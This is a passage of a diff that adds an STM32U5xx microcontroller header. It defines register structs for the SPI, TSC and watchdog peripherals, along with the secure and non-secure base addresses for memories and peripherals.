Early Wakeup register, Address offset: 0x14 */ +} IWDG_TypeDef; + +/** + * @brief SPI + */ +typedef struct +{ + __IO uint32_t CR1; /*!< SPI/I2S Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< SPI Control register 2, Address offset: 0x04 */ + __IO uint32_t CFG1; /*!< SPI Configuration register 1, Address offset: 0x08 */ + __IO uint32_t CFG2; /*!< SPI Configuration register 2, Address offset: 0x0C */ + __IO uint32_t IER; /*!< SPI Interrupt Enable register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< SPI Status register, Address offset: 0x14 */ + __IO uint32_t IFCR; /*!< SPI Interrupt/Status Flags Clear register, Address offset: 0x18 */ + __IO uint32_t AUTOCR; /*!< SPI Autonomous Mode Control register, Address offset: 0x1C */ + __IO uint32_t TXDR; /*!< SPI Transmit data register, Address offset: 0x20 */ + uint32_t RESERVED1[3]; /*!< Reserved, 0x24-0x2C */ + __IO uint32_t RXDR; /*!< SPI/I2S data register, Address offset: 0x30 */ + uint32_t RESERVED2[3]; /*!< Reserved, 0x34-0x3C */ + __IO uint32_t CRCPOLY; /*!< SPI CRC Polynomial register, Address offset: 0x40 */ + __IO uint32_t TXCRC; /*!< SPI Transmitter CRC register, Address offset: 0x44 */ + __IO uint32_t RXCRC; /*!< SPI Receiver CRC register, Address offset: 0x48 */ + __IO uint32_t UDRDR; /*!< SPI Underrun data register, Address offset: 0x4C */ +} SPI_TypeDef; + +/** + * @brief Touch Sensing Controller (TSC) + */ + +typedef struct +{ + __IO uint32_t CR; /*!< TSC control register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< TSC interrupt enable register, Address offset: 0x04 */ + __IO uint32_t ICR; /*!< TSC interrupt clear register, Address offset: 0x08 */ + __IO uint32_t ISR; /*!< TSC interrupt status register, Address offset: 0x0C */ + __IO uint32_t IOHCR; /*!< TSC I/O hysteresis control register, Address offset: 0x10 */ + uint32_t RESERVED1; /*!< Reserved, Address offset: 0x14 */ + __IO uint32_t IOASCR; /*!< TSC I/O analog switch control register, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x1C */ + __IO uint32_t IOSCR; /*!< TSC I/O sampling control register, Address offset: 0x20 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t IOCCR; /*!< TSC I/O channel control register, Address offset: 0x28 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x2C */ + __IO uint32_t IOGCSR; /*!< TSC I/O group control status register, Address offset: 0x30 */ + __IO uint32_t IOGXCR[8]; /*!< TSC I/O group x counter register, Address offset: 0x34-50 */ +} TSC_TypeDef; + +/** + * @brief WWDG + */ +typedef struct +{ + __IO uint32_t CR; /*!< WWDG Control register, Address offset: 0x00 */ + __IO uint32_t CFR; /*!< WWDG Configuration register, Address offset: 0x04 */ + __IO uint32_t SR; /*!< WWDG Status register, Address offset: 0x08 */ +} WWDG_TypeDef; + +/*@}*/ /* end of group STM32U5xx_peripherals */ + + +/* -------- End of section using anonymous unions and disabling warnings -------- */ +#if defined (__CC_ARM) + #pragma pop +#elif defined (__ICCARM__) + /* leave anonymous unions enabled */ +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0xC0000UL) /*!< SRAM1=768k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM3_SIZE (0xD0000UL) /*!< SRAM3=832k */ +#define SRAM4_SIZE (0x04000UL) /*!< SRAM4=16k */ +#define SRAM5_SIZE (0xD0000UL) /*!< SRAM5=832k */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI2_BASE (0x70000000UL) /*!< OCTOSPI2 memories accessible over AHB base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ +#define HSPI1_BASE (0xA0000000UL) /*!< HSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (4 MB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (768 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x200C0000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x200D0000UL) /*!< SRAM3 (832 KB) non-secure base address */ +#define SRAM4_BASE_NS (0x28000000UL) /*!< SRAM4 (16 KB) non-secure base address */ +#define SRAM5_BASE_NS (0x201A0000UL) /*!< SRAM5 (832 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06020000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define USART6_BASE_NS (APB1PERIPH_BASE_NS + 0x6400UL) +#define I2C4_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define I2C5_BASE_NS (APB1PERIPH_BASE_NS + 0x9800UL) +#define I2C6_BASE_NS (APB1PERIPH_BASE_NS + 0x9C00UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) +#define SAI2_BASE_NS (APB2PERIPH_BASE_NS + 0x5800UL) +#define SAI2_Block_A_BASE_NS (SAI2_BASE_NS + 0x004UL) +#define SAI2_Block_B_BASE_NS (SAI2_BASE_NS + 0x024UL) +#define LTDC_BASE_NS (APB2PERIPH_BASE_NS + 0x6800UL) +#define LTDC_Layer1_BASE_NS (LTDC_BASE_NS + 0x0084UL) +#define LTDC_Layer2_BASE_NS (LTDC_BASE_NS + 0x0104UL) +#define DSI_BASE_NS (APB2PERIPH_BASE_NS + 0x6C00UL) +#define REFBIAS_BASE_NS (DSI_BASE_NS + 0x800UL) +#define DPHY_BASE_NS (DSI_BASE_NS + 0xC00UL) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI3_BASE_NS (APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define OPAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP1_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP2_BASE_NS (APB3PERIPH_BASE_NS + 0x5010UL) +#define COMP12_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define COMP1_BASE_NS (COMP12_BASE_NS) +#define COMP2_BASE_NS (COMP12_BASE_NS + 0x04UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS (AHB1PERIPH_BASE_NS) +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA1_Channel8_BASE_NS (GPDMA1_BASE_NS + 0x0450UL) +#define GPDMA1_Channel9_BASE_NS (GPDMA1_BASE_NS + 0x04D0UL) +#define GPDMA1_Channel10_BASE_NS (GPDMA1_BASE_NS + 0x0550UL) +#define GPDMA1_Channel11_BASE_NS (GPDMA1_BASE_NS + 0x05D0UL) +#define GPDMA1_Channel12_BASE_NS (GPDMA1_BASE_NS + 0x0650UL) +#define GPDMA1_Channel13_BASE_NS (GPDMA1_BASE_NS + 0x06D0UL) +#define GPDMA1_Channel14_BASE_NS (GPDMA1_BASE_NS + 0x0750UL) +#define GPDMA1_Channel15_BASE_NS (GPDMA1_BASE_NS + 0x07D0UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01400UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define TSC_BASE_NS (AHB1PERIPH_BASE_NS + 0x04000UL) +#define MDF1_BASE_NS (AHB1PERIPH_BASE_NS + 0x05000UL) +#define MDF1_Filter0_BASE_NS (MDF1_BASE_NS + 0x80UL) +#define MDF1_Filter1_BASE_NS (MDF1_BASE_NS + 0x100UL) +#define MDF1_Filter2_BASE_NS (MDF1_BASE_NS + 0x180UL) +#define MDF1_Filter3_BASE_NS (MDF1_BASE_NS + 0x200UL) +#define MDF1_Filter4_BASE_NS (MDF1_BASE_NS + 0x280UL) +#define MDF1_Filter5_BASE_NS (MDF1_BASE_NS + 0x300UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_SRAM4_BASE_NS (RAMCFG_BASE_NS + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) +#define RAMCFG_SRAM5_BASE_NS (RAMCFG_BASE_NS + 0x0140UL) +#define DMA2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0B000UL) +#define GFXMMU_BASE_NS (AHB1PERIPH_BASE_NS + 0x0C000UL) +#define GPU2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0F000UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define DCACHE2_BASE_NS (AHB1PERIPH_BASE_NS + 0x11800UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define GTZC_MPCBB5_BASE_NS (AHB1PERIPH_BASE_NS + 0x13800UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define GPIOI_BASE_NS (AHB2PERIPH_BASE_NS + 0x02000UL) +#define GPIOJ_BASE_NS (AHB2PERIPH_BASE_NS + 0x02400UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC2_BASE_NS (AHB2PERIPH_BASE_NS + 0x08100UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08300UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define USB_OTG_HS_BASE_NS (AHB2PERIPH_BASE_NS + 0x20000UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define OCTOSPIM_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xA4000UL) /*!< OCTOSPIO Manager control registers base address */ +#define SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8000UL) +#define SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8400UL) +#define DLYB_SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF400UL) +#define FMC_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB0400UL) /*!< FMC control registers base address */ +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) +#define OCTOSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ +#define HSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB3400UL) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_BASE_NS (AHB3PERIPH_BASE_NS) +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define ADC4_BASE_NS (AHB3PERIPH_BASE_NS + 0x1000UL) +#define ADC4_COMMON_BASE_NS (AHB3PERIPH_BASE_NS + 0x1300UL) +#define DAC1_BASE_NS (AHB3PERIPH_BASE_NS + 0x1800UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define GTZC_TZSC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3000UL) +#define GTZC_TZIC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3400UL) +#define GTZC_MPCBB4_BASE_NS (AHB3PERIPH_BASE_NS + 0x3800UL) +#define ADF1_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) +#define ADF1_Filter0_BASE_NS (ADF1_BASE_NS + 0x80UL) +#define LPDMA1_BASE_NS (AHB3PERIPH_BASE_NS + 0x5000UL) +#define LPDMA1_Channel0_BASE_NS (LPDMA1_BASE_NS + 0x0050UL) +#define LPDMA1_Channel1_BASE_NS (LPDMA1_BASE_NS + 0x00D0UL) +#define LPDMA1_Channel2_BASE_NS (LPDMA1_BASE_NS + 0x0150UL) +#define LPDMA1_Channel3_BASE_NS (LPDMA1_BASE_NS + 0x01D0UL) +/* GFXMMU non secure virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE_NS (0x24000000UL) +#define GFXMMU_VIRTUAL_BUFFER0_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS) +#define GFXMMU_VIRTUAL_BUFFER1_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0x400000UL) +#define GFXMMU_VIRTUAL_BUFFER2_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0x800000UL) +#define GFXMMU_VIRTUAL_BUFFER3_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0xC00000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (4 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (768 KB) secure base address */ +#define SRAM2_BASE_S (0x300C0000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM3_BASE_S (0x300D0000UL) /*!< SRAM3 (832 KB) secure base address */ +#define SRAM4_BASE_S (0x38000000UL) /*!< SRAM4 (16 KB) secure base address */ +#define SRAM5_BASE_S (0x301A0000UL) /*!< SRAM5 (832 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06020000UL) + +/*!< APB1 Secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define USART6_BASE_S (APB1PERIPH_BASE_S + 0x6400UL) +#define I2C4_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define I2C5_BASE_S (APB1PERIPH_BASE_S + 0x9800UL) +#define I2C6_BASE_S (APB1PERIPH_BASE_S + 0x9C00UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) +#define SAI2_BASE_S (APB2PERIPH_BASE_S + 0x5800UL) +#define SAI2_Block_A_BASE_S (SAI2_BASE_S + 0x004UL) +#define SAI2_Block_B_BASE_S (SAI2_BASE_S + 0x024UL) +#define LTDC_BASE_S (APB2PERIPH_BASE_S + 0x6800UL) +#define LTDC_Layer1_BASE_S (LTDC_BASE_S + 0x0084UL) +#define LTDC_Layer2_BASE_S (LTDC_BASE_S + 0x0104UL) +#define DSI_BASE_S (APB2PERIPH_BASE_S + 0x6C00UL) +#define REFBIAS_BASE_S (DSI_BASE_S + 0x800UL) +#define DPHY_BASE_S (DSI_BASE_S + 0xC00UL) + +/*!< APB3 Secure peripherals */ +#define SYSCFG_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI3_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define OPAMP_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP1_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP2_BASE_S (APB3PERIPH_BASE_S + 0x5010UL) +#define COMP12_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define COMP1_BASE_S (COMP12_BASE_S) +#define COMP2_BASE_S (COMP12_BASE_S + 0x04UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_BASE_S (AHB1PERIPH_BASE_S) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA1_Channel8_BASE_S (GPDMA1_BASE_S + 0x0450UL) +#define GPDMA1_Channel9_BASE_S (GPDMA1_BASE_S + 0x04D0UL) +#define GPDMA1_Channel10_BASE_S (GPDMA1_BASE_S + 0x0550UL) +#define GPDMA1_Channel11_BASE_S (GPDMA1_BASE_S + 0x05D0UL) +#define GPDMA1_Channel12_BASE_S (GPDMA1_BASE_S + 0x0650UL) +#define GPDMA1_Channel13_BASE_S (GPDMA1_BASE_S + 0x06D0UL) +#define GPDMA1_Channel14_BASE_S (GPDMA1_BASE_S + 0x0750UL) +#define GPDMA1_Channel15_BASE_S (GPDMA1_BASE_S + 0x07D0UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x01400UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define TSC_BASE_S (AHB1PERIPH_BASE_S + 0x04000UL) +#define MDF1_BASE_S (AHB1PERIPH_BASE_S + 0x05000UL) +#define MDF1_Filter0_BASE_S (MDF1_BASE_S + 0x80UL) +#define MDF1_Filter1_BASE_S (MDF1_BASE_S + 0x100UL) +#define MDF1_Filter2_BASE_S (MDF1_BASE_S + 0x180UL) +#define MDF1_Filter3_BASE_S (MDF1_BASE_S + 0x200UL) +#define MDF1_Filter4_BASE_S (MDF1_BASE_S + 0x280UL) +#define MDF1_Filter5_BASE_S (MDF1_BASE_S + 0x300UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_SRAM4_BASE_S (RAMCFG_BASE_S + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) +#define RAMCFG_SRAM5_BASE_S (RAMCFG_BASE_S + 0x0140UL) +#define DMA2D_BASE_S (AHB1PERIPH_BASE_S + 0x0B000UL) +#define GFXMMU_BASE_S (AHB1PERIPH_BASE_S + 0x0C000UL) +#define GPU2D_BASE_S (AHB1PERIPH_BASE_S + 0x0F000UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define DCACHE2_BASE_S (AHB1PERIPH_BASE_S + 0x11800UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S 